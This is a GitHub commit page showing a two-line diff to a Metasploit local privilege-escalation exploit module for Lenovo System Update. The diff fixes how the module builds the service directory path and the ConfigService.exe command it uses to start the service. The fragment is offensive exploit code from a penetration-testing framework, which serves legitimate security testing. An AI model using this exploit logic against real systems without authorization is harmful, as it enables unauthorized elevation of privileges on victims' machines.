Skip to content

Commit e075495

Browse files
committed
string concatenation, clear \ handling
1 parent 94d39c5 commit e075495

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

modules/exploits/windows/local/lenovo_systemupdate.rb

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,7 @@ def get_security_token(lenovo_directory)
125125

126126

127127
def config_service(lenovo_directory, option)
128-
cmd_exec(lenovo_directory + "ConfigService.exe #{option}")
128+
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
129129
end
130130

131131

@@ -134,8 +134,7 @@ def exploit
134134
fail_with(Failure::NoTarget, 'Session is already elevated')
135135
end
136136

137-
su_directory = service_info('SUService')[:path][1..-15]
138-
137+
su_directory = service_info('SUService')[:path][1..-16]
139138
print_status("Starting service via ConfigService.exe")
140139
config_service(su_directory, "start")
141140
print_status("Giving the service some time to start...")

0 commit comments

Comments
 (0)